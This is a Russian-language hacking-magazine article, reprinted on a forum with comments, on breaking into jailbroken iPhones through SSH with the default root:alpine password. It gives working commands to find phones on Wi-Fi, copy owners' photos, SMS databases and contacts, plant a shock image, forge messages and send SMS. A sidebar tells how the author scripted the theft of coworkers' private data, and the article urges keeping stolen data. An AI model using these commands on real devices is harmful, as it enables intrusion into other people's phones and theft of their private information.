Многие относятся к iPhone как к телефону для блондинок. Он, и правда, нравится блондинкам, но работает при этом под управлением абсолютно полноценной Unix-операционки. Мобильная OS X изготавливается из настольной Mac OS X, которая, в свою очередь, является современной версией системы BSD-семейства NeXTSTEP, увидевшей свет за пять лет до ядра Linux — в 1986 году.Инженеры Apple удалили из операционки iPhone почти все консольные утилиты, однако при установке OpenSSH на взломанный iPhone требуется поставить еще и пакет с BSD-окружением, так что тебя встретит компания старых друзей: от curl, scp и zsh до tar, bzip2 и gunizp. Как и в любой Unix-системе, в мобильной Mac OS X есть суперпользователь с именем root и паролем, которым чаще всего по умолчанию является
строка «alpine».Шесть букв в одном регистре — обычно плохая идея для пароля root, но в обычном, не взломанном, iPhone вводить этот пароль некому и некуда. Он мог бы быть любым, и ничего бы не изменилось.
В России, разумеется, все iPhone взломаны, и на большинстве этих взломанных телефонов установлен OpenSSH — как единственный способ получить доступ к файловой системе. Когда-то это было стандартным этапом взлома и активации.
Таким образом, мы получаем очень забавную картину: почти к любому айфону в России можно удаленно подключиться по ssh с дефолтовой записью root:alpine и получить неограниченные возможности в управлении.
Заставить телефон звонить и отправлять SMS — легко. Украсть базу с SMS,записную книжку, фотографии — еще проще. Вообще, можно сделать все,что угодно.
Обнаружение
Практическую часть экспериментов мы начнем с этапа, который называется «обнаружение». Ведь нужно знать, куда подключаться: к какому ip-адресу. Вообще говоря, у iPhone два сетевых интерфейса: Wi-Fi(en0, согласно ifconfig) и GPRS (PPP-интерфейс ip1, согласно тому же
ifconfig). Для взлома лучше взаимодействовать с телефоном по Wi-Fi:GPRS пролегает по территории сотового провайдера и, к тому же, это очень медленный протокол. Между тем, времени для взлома обычно немного — iPhone любит поспать, и в режиме ожидания (standby mode) практически все процессы (твоя ssh-сессия, запущенный тобой процесс, даже запланированные по cron процессы) ставятся на паузу и возобновляются только после того, как владелец достанет телефон из кармана и разбудит его. Батарейку это экономит, а нервы может подсадить.Можно придумать схему со сканированием всего доступного IP-диапазона какого-нибудь сотового провайдера или с
регистрацией IP-адресов пользователей MobileSafari, зашедших на специально заведенный сайт — но все это лучше отложить на скучные зимние вечера. Куда быстрее и веселее увидеть человека,задумчиво гладящего на экран своего телефона в офисе или кафе с открытой WiFi-сетью.
Обнаружить iPhone с помощью nmap — элементарно. Запусти сканирование стандартным образом (например, nmap -O 10.0.0.*) и увидишь в списке прочих хостов вот такие записи:
Not shown: 1714 closed ports
PORT STATE SERVICE
22/tcp open ssh
MAC Address: XX:XX:XX:XX:XX:XX (Apple)
Device type: phone|media device
Running: Apple embedded
OS details: Apple iPhone mobile phone or
iPod Touch audio player (Darwin 9.0.0d1)
Конечно, сканировать всю подсеть с ключом -O — долго и утомительно. Правильнее было бы пройтись по ней без ключа -O и только потом определить ОС на хостах с открытым 22#ым
портом. Но и это не самый рациональный способ. На взломанном iPhone запущен не только sshd, но и mDNSResponder (Zeroconf от Apple). То есть при входе в сеть iPhone оповещает всех присутствующих о том, какие сервисы он предоставляет. Достаточно запустить, к примеру, SFTP-клиент с поддержкой Bonjour (допустим, Cyberduck под Mac OS X), и он известит тебя о появлении нового хоста в сети. Более того, mDNSResponder доступен в виде исходников, портирован на Linux и на Windows, и его легко использовать для автоматизации процесса поиска и проверки всех появившихся в сети телефонов.
Еще о системе
В мобильной OS X два пользователя (не считая nobody и unknown): root (это ты) и mobile (это владелец телефона). Файловая система телефона разделена на две части. Папка /var/mobile, содержащая данные пользователя, отделена от остальной системы (сделано для того, чтобы после обновления прошивки не нужно было заново заливать на iPhone адресную книгу, музыку и так далее).
Как в любой приличной UNIX ОС, в OS X все — либо файл, либо папка. Самые важные для тебя папки — Library (в них хранятся персональные данные и настройки) и Media (в них хранятся картинки, музыка и видео). В корне файловой системы (помимо стандартных etc, usr, dev и т.д) ты найдешь папки System,Library и Applications. Внутри папки System находится еще одна папка Library. Другая папка Library принадлежит пользователю mobile (/var/mobile/Library). В настольной Mac OS X положение папки Library определяет ее значимость — в /System/Library свои данные хранят системные приложения, в /Library хранятся данные пользовательских приложений, общие для всей системы, а в ~/Library — личные данные пользователя. То же относится и к мобильной OS X. Поэтому большинство интересных вещей (настройки,базы sms и почтовые базы) ты найдешь в папке /var/mobile/
Library/, а ключи доверенных WiFi-сетей — в /Library.
Итак, теперь ты знаешь, где искать полезные данные, но как они выглядят? Данные в мобильной OS X могут лежать внавалку, храниться в файлах .plist или базах SQLite.
Внавалку
Хотя параноики из Apple предпочитают записывать все в отдельные базы данных, кое-что валяется на диске iPhone просто так. Например, сделанные встроенной камерой снимки лежат в /var/mobile/Media/DCIM. Если хочешь их быстро украсть (надежда на домашнее порно жива и будет жить всегда) — воспользуйся утилитой scp: scp -r [email=root@iPhone.local.:/var/mobile/Media/DCIM]root@iPhone.local.:/var/mobile/Media/DCIM[/email] Человек подарил тебе надежду на домашнее порно — подари ему что-нибудь взамен, сделай его жизнь немножечко лучше. Картинка, которую он использует в качестве фона, хранится в файле /var/mobile/Library/LockBackground.jpg. Неважно, выбрана ли она системных картинок, залита с компьютера или снята встроенной камерой — она будет скопирована в это место и уменьшена до 320х480 пикселей. Размер важен — если картинка будет больше или меньше, она не будет масштабироваться. В жизни каждого должна быть минутка для goatse. Скопируй заранее подготовленную картину на место
указанной (например, curl https://goatse.cx/hello.jpg -o /var/mobile/Library/LockBackground.jpg), закрепи (чтобы растянуть удовольствие): chmod -w /var/ mobile/Library/LockBackground.jpg и перезапусти SpringBoard (killall SpringBoard). Теперь владелец iPhone будет постоянно видеть (без вариантов!) одну из старейших реликвий интернета. Настройки мобильной OS X — яркость, мелодия звонка, время срабатывания будильников и прочее — хранятся, как и в настольной Mac OS X, в файлах plist. Файлы plist бывают двух видов — текстовые и бинарные. Текстовые, разумеется, можно
править любым текстовым редактором (это простой, легко читаемый XML); бинарные надо конвертировать в текстовые, а потом обратно. В мобильной OS X используются оба типа— системные настройки хранятся в текстовом виде, пользовательские — в бинарном.
Конвертируются плисты с помощью утилиты plutil.Если ты пользуешься Mac OS X, она у тебя уже есть, если нет — скачай. Существуют версии и для Linux, и для Windows. Команда plutil -convert преобразует файл из бинарного в текстовый и обратно; после plutil - convert xml1 ты сможешь править файл, после plutil -convert binary1 — скопировать его обратно. Еще лучше пропихнуть на iPhone собранную Эрикой Садун версию plutil для мобильной OS X — она может исправлять различные параметры прямо из командной строки, без конвертации.
Например, в файле /var/mobile/Library/Prefences/com.apple.springboard.plist (после конвертации в
XML) содержится подобный ключ: ringtone system:Motorcycle
Эта настройка определяет общую мелодию звонка. Значение в может быть одним из следующих:
1) (рингтон по умолчанию, называется Marimba);
2) system:название рингтона (рингтон из поставляемых с системой, они содержатся в папке /Library/Ringtones; приведенный выше рингтон — это файл /Library/Ringtones/Motorcycle.m4a);
3) itunes:цифро-буквенный код (залитый пользователем рингтон, содержащийся в /var/mobile/
Media/iTunes_Control/Ringtones; код здесь не имя файла, а идентификатор из какой-то базы данных).
Изменив этот ключ, ты сможешь изменить используемыйрингтон. Самый надежный способ — заменить все системные рингтоны своим (контейнер — MPEG-4, кодек — ААС, длительность — не больше 40 секунд, расширение — .m4r).Чтобы изменить значение ключа ringtone, либо сконвертируй
com.apple.springboard.plist в текст, измени его вручную и сохрани, либо, используя утилиту Эрики, отдай команду: plutil -s ringtone -v "system:Sonar" /var/
mobile/Library/Preferences/com.apple.springboard.plist По тому же принципу можно изменить любые настройки мобильной OS X. За год существования iPhone они были прекрасно документированы, а то, что ты не найдешь в Google, за тебя найдет grep. sqlite Наконец, в маленьких уютненьких базочках SQLite хранятся замечательные вещи — база SMS, адресная книжка и многое
другое. База SMS лежит тут — /var/mobile/Library/ SMS/sms.db, адресная книга тут — /var/mobile/
Library/AddressBook.sqlitedb. Скопировав их на свою машину, ты сможешь разобраться в структуре и содержимом с помощью утилиты sqlite3 (у пользователей Mac OS X она есть сразу, у пользователей Linux и Windows тоже не будет особых проблем).
Утилита может выполнять твои желания интерактивно или прямо из командной строки. Если ты вызовешь ее с SQL-запросом, она исполнит его и выйдет. Если без — она вернет тебе приглашение и будет ждать других запросов и команд. Самые интересные таблицы — таблица messages в sms.db и табли-ца ABPerson в AddressBook.sqlitedb. Ты можешь читать, парсить и изменять эти базы, более того — Эрика и ее портировала на iPhone (к вопросу о силе open source). Не забудь сделать резервную копию для себя
— мало ли для чего может пригодиться база чужих SMS и адресная книга с работающими телефонами и электронными адресами. И, конечно, используй sqlite3 в целях мира во всем мире: sqlite3 sms.db "INSERT INTO messages VALUES(0, ' 0000000', 1354321900, ' МЫ ЛЮДИ БУДУЩЕГО НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР',1,0,NULL,0,0,0,0,0)
" Пускай человек внезапно обнаружит в своей базе послание из будущего (1 декабря 2012 года в 00:31:40 по Гринвичу — третье поле в таблице содержит дату в эпохе). AT OM FG!
Это же телефон, черт возьми! Музыка музыкой, картинки картинками, но главная задача сотового телефона — сотовая связь. Вообще, модем в сотовом телефоне (в iPhone это /dev/tty.baseband) обычно недоступен — на нем висит коммуникационный процесс, ожидающий поступления звонков и сообщений. Но у нас есть лазейка — /dev/tty.debug. Чтобы поговорить с модемом, можно использовать mincom (он часть пакета с BSD-окружением). Его потребуется настроить (minicom -s), так как по
умолчанию он пытается соединиться с /dev/modem. Но если ты торопишься, создай симлинк -ln/dev/tty.baseband /dev/modem (симлинки на телефоне — это очень круто).
Теперь запусти minicom и начинай отдавать AT-команды. К примеру, команда AT CBC, сообщит тебе об уровне заряда батарейки: AT CBC CBC: 0,65 OK
Батарейка заряжена на 65%, и еще на какое-то время ее хватит. Теперь можно позвонить, отправить sms или подключить какую-нибудь хорошую услугу. Давай отправим sms — это меньшее, что мы можем сделать после того, как прочитали все имеющиеся. AT CMGF=1 // Модем переключается в текстовый режим (0 — голос, 1 — текст) и возвращает OK. “AT CMGW=“ 712345678“ // Здесь начинается, собственно, сообщение. Номер абонента — часть команды. Модем вернет приглашение ввести текст
сообщения. > Welcome... to the world of tomorrow! // Сообщение кончится, когда модем получит EOF — теперь оно будет записано в память. Модем вернет OK и CMGW: N, где N — индекс сообщения в памяти модема. AT CMSS=N // Отправка сообщения, индекс которого — N, вернет OK, если сообщение успешно отправлено.
Список AT-команд не менялся уже много лет. Используя их, ты сможешь отправлять SMS, набирать телефонные номера и изучать свойства аппаратной части iPhone. Для того чтобы отдавать AT-команды прямо из командной строки, было написано несколько утилит. Например, команда iPhone Elite выпустила утилиту sendmodem. Протолкнув sendmodem на iPhone, ты сможешь использовать
ее саму по себе или в скриптах. Исходный код утилиты — прекрасный пример того, как отдавать AT-команды программно.
Перспективы
Как видишь, даже без особой подготовки можно найти и поюзать iPhone, получив при этом огромное удовольствие. А если ты подготовишься, то сможешь сделать куда больше. Писать для iPhone не сложнее, чем для любой другой UNIX OS и значительно проще, чем для любого другого сотового телефона. Бесполезно помещать на iPhone Java-утилитки — ему требуется суровый мужской С.
Несмотря на возражения Apple, за год вокруг iPhone сложилось огромное девелоперское сообщество, и ты легко найдешь подробные инструкции по кросс-компиляции, мануалы и описания библиотек, узнаешь — как бороться с standby mode, перехватывать управление модемом и так далее. Представь себе маленькую утилитку, обнаруживающую другие телефоны по Bonjour, логиняющуюся по ssh с паролем alpine и оставляющую на них свою копию. Или утилитку, отправляющую sms (с вежливым приветствием всем людям в адресной книге — можно было бы обойтись 10-15 строчками кода). В общем, iPhone — действительно революционное устройство.
И ЕЩЕ НЕМНОГО gorl хулиганит
Так уж вышло, что в офисе нашей редакции очень много айфонов. И если ты вдруг появишься с Nokia (а я большой поклонник N95, хоть и переквалифицировался на Apple), то на тебя будут очень сочувствен-
но и активно смотреть, мол, ничего, бонус получишь и тоже обайфонишься.
Движимый благородными чувствами, я решил поломать все имеющиеся в области досягаемости нашей wifi-сети яблочные телефоны, чтобы их владельцы не так сильно смущали нормальных людей.
Логика, конечно, слабенькая, но допустимая. Хоть мака у меня под руками и не было, больших сложностей после прочтения статьи у меня не возникло. Скачал для своего домашнего питона модуль pybonjour (https://o2s. sail.mit.edu/o2s-wiki/pybonjour), который позволяет в реальном времени следить за zeroconf-совместимыми сервисами. Подредактировал скрипт browse_and_resolve.py из комплекта модуля так, чтобы он обнаруживал только ssh-сервисы: sys.argv заменил на '_ssh._tcp' — и никаких тебе аргументов запуска. Потом в callback-функции добавил, чтобы для каждого hostname запускался тред с pscp.exe (из комплекта Putty) и скачивал список контактов, смс и все фотографии (%s — это хост айфона).
Параметры запуска для контактов: pscp.exe -r -pw alpine root@%s:/var/mobile/Library/
AddressBook/AddressBook.sqlitedb X:\iphones.db\%s\ Для фоткок:
pscp.exe -r -pw alpine root@%s:/var/mobile/media/ DCIM X:\iphones.db\%s\ Для базы SMS: pscp.exe -r -pw alpine root@%s:/var/mobile/Library/ SMS/sms.db X:\iphones.db\%s\
Также потребовалась копия этих команд для старых прошивок: все то же самое, только 'root' вместо 'mobile'. После запуска скрипта чужая приватная инфа не заставила себя ждать. Однако если с просмотром фоток все понятно (jpeg — он и на айфоне
jpeg), то, чтобы прочесть смс и адресную книгу, пришлось скачать специальную утилитку для работы с базами sqlite (https://sqlitebrowser. sourceforge.net).
Вывести с ее помощью все контакты из файла AddressBook.sqlitedb помог простенький запроc:
SELECT ABPerson.Last, ABPerson.First, ABMultiValue.
value FROM ABPerson, ABMultiValue
WHERE ABPerson.ROWID = ABMultiValue.record_id
ORDER BY ABPerson.Last
Чтобы не побили, хожу теперь по офису и делаю всем passwd.
ИСТОЧНИК СТАТЬИ ЖУРНАЛ ХАКЕР
Перепечатал М.Сергей(kobra1982)
ЯБЛОФАНАМ ПОСВЯЩАЕТСЯ!!!!
Похожие файлы
Iphone 11 - немного слов о хваленом IP68
Все про iPhone, Mac, iPadКак самостоятельно почистить разговорный динамик на Iphone?
Все про iPhone, Mac, iPadКак экономить заряд аккумулятора на Iphone
Все про iPhone, Mac, iPadКомментарии 29
Мораль сей басни такова - меняйте пароли и отключайте SSH, когда он не нужен, чтобы друзья вроде Versingektor не смогли залезть к вам в тел без вашего ведома. Как это делается, я уже описывал на предыдущей странице.
red_devil_agma, таким же образом можно взломать и компьютер Касперского, и ваш, кстати, N82 тоже. На большее ума не хватает? Ах, конечно, я не обратил внимание, что это шутка.
тупее него только моторолла т190... - опять же вопрос, а вы, вообще, имеете собственный опыт работы с этим усторойством? Скорее всего, он сформирован профиннскими форумами и обзорами - это видно по той \"аргументированности\", с которой вы излагаете своё мнение.
И последнее. Чем клеймить владельцев iPhone блондинками, лучше бы задумались, насколько умны и тактичны вы сами, необоснованно оскорбляя стольких товарищей по сайту. Вежливее надо быть.
Всем блондинкам и не очень..посвящается!!!новый способ взлома гнилофона АБАСФАЛЬТ ЕГО или монтировкой
шутка.просто тупее него только моторолла т190...
Прочел статью ток сеня))но вот пара замечаний:во первых всякими блюоверами не взломать нокиа))если только не дашь доступ другому телефону порыться у тебя через блютус.во вторых, вы цены то сравните, всяких нокиа, и айфона.что дороже?айфон, правильно.между прочим, за такие бабки, можно было бы функционал ему до упертости в стенку сделать.а так, хороший телефон, спору нет.
0 ответить